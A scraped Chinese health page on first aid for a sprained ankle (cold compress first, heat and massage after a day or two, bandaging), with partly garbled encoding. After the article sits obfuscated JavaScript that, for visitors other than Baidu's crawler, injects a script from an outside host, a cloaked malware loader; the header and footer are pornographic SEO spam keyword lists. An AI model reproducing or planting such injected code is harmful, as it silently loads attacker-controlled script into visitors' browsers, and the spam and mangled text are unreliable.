久久综合一区二区三区_国产成人精品亚洲777人妖_日韩中文字幕在线看_国产激情视频网_国产亚洲欧美一区_精品一区二区三区中文字幕

當(dāng)前位置:首頁 > 健康 > 常見疾病 > 正文

手到病自除 崴腳的自救措施?

2017-06-18 12:25:40  來源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語:在平時(shí)的生活中難免會(huì)出現(xiàn)崴腳的情況,比如有的女性因?yàn)榇┑母吒母撸呗返臅r(shí)候,難免會(huì)出現(xiàn)崴腳的情況;有的人在進(jìn)行運(yùn)動(dòng)的時(shí)候,

在平時(shí)的生活中難免會(huì)出現(xiàn)崴腳的情況,比如有的女性因?yàn)榇┑母吒母撸呗返臅r(shí)候,難免會(huì)出現(xiàn)崴腳的情況;有的人在進(jìn)行運(yùn)動(dòng)的時(shí)候,熱身運(yùn)動(dòng)做的不好,一旦開始奔跑等,就會(huì)出現(xiàn)崴腳的可能。出現(xiàn)了崴腳后,不要著急,小編教你幾招,就可以自己輕松過搞定崴腳。

冷敷

在扭傷腳之后要在最短的時(shí)間之內(nèi)迅速的選擇冷敷,如用毛巾包著冰塊,主要敷在腫脹感覺疼痛的部位,或者直接把腳腂以下的部位都浸泡在冷水之中。這樣做一來可以減少疼痛感,二來也要有效的預(yù)防血管破裂,減少出血量。

熱敷

一般般有疼痛已除去,或者扭傷后48個(gè)小時(shí)之后用熱敷的就去,這樣做可以促進(jìn)血液循環(huán),促進(jìn)組織滲出液的吸收,減少炎癥的產(chǎn)生,當(dāng)然了有條件的話也可選擇紅外絲熱療器進(jìn)行理療。

局部按摩

這里提醒一下,在腳扭傷之后千萬不要馬上按摩,如果馬上按摩的話,很有可能會(huì)引起大出血,加重傷情,一般情況下建議在熱敷之后,感覺傷口好點(diǎn)之后在進(jìn)行適當(dāng)?shù)陌茨橐恕?/p>

固定制動(dòng)

一般情況下建議在扭傷之后就要特別注意行走了,如果特別嚴(yán)重的話,一般不建議行走。這個(gè)時(shí)候可以用張力繃帶把受傷的部分包扎起來,當(dāng)然了如果嚴(yán)重到走不了路,或者已經(jīng)發(fā)生骨折的話,建議到醫(yī)院用石膏進(jìn)行固定。同時(shí)還要注意限制腳部的活動(dòng)。如果一定要行走的話,建議一定要用腳后跟先著地。

在出現(xiàn)了崴腳后,一定要注意這個(gè)24小時(shí)的界限,當(dāng)出現(xiàn)崴腳后的24小時(shí)內(nèi),最好是進(jìn)行冷敷,千萬不要用手按摩患處,等過了24小時(shí)候,在進(jìn)行熱敷,并且才可以開始按摩,這樣才會(huì)讓患處減少腫脹的情況,讓崴腳快速的好起來。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
主站蜘蛛池模板: 日本中文字幕电影 | 欧美午夜网 | 久久久久高清 | 国产高清视频一区 | 性国产xxxx乳高跟 | 黄色av网站在线观看 | 国产二区视频 | 久久99国产精一区二区三区 | 2019天天干 | 国产一区二区三区四区三区 | 国产免费国产 | 成人欧美一区二区三区黑人孕妇 | 成人在线影视 | 久久久免费精品 | 一本色道久久综合亚洲精品不 | 四虎影视免费观看 | k8久久久一区二区三区 | 亚洲九九| 色综合久久88色综合天天 | 亚洲a网| 亚州中文av | 欧美日韩第一页 | 999国内精品永久免费视频 | 能看的黄色网址 | 波多野结衣一二三四区 | 国产一级免费 | 欧美日韩一区二区中文字幕 | 欧美精品在线一区 | 日韩中文一区 | 精品久久一 | 久久久成人av | 精品中文字幕在线观看 | 日韩成人在线免费观看 | 蜜桃视频麻豆女神沈芯语免费观看 | 国产美女高潮一区二区三区 | 国偷自产av一区二区三区 | 国产精品高潮呻吟久久a | 国精产品一区二区三区黑人免费看 | 国产福利一区二区在线 | 999这里只有精品 | 亚洲成av人片一区二区梦乃 |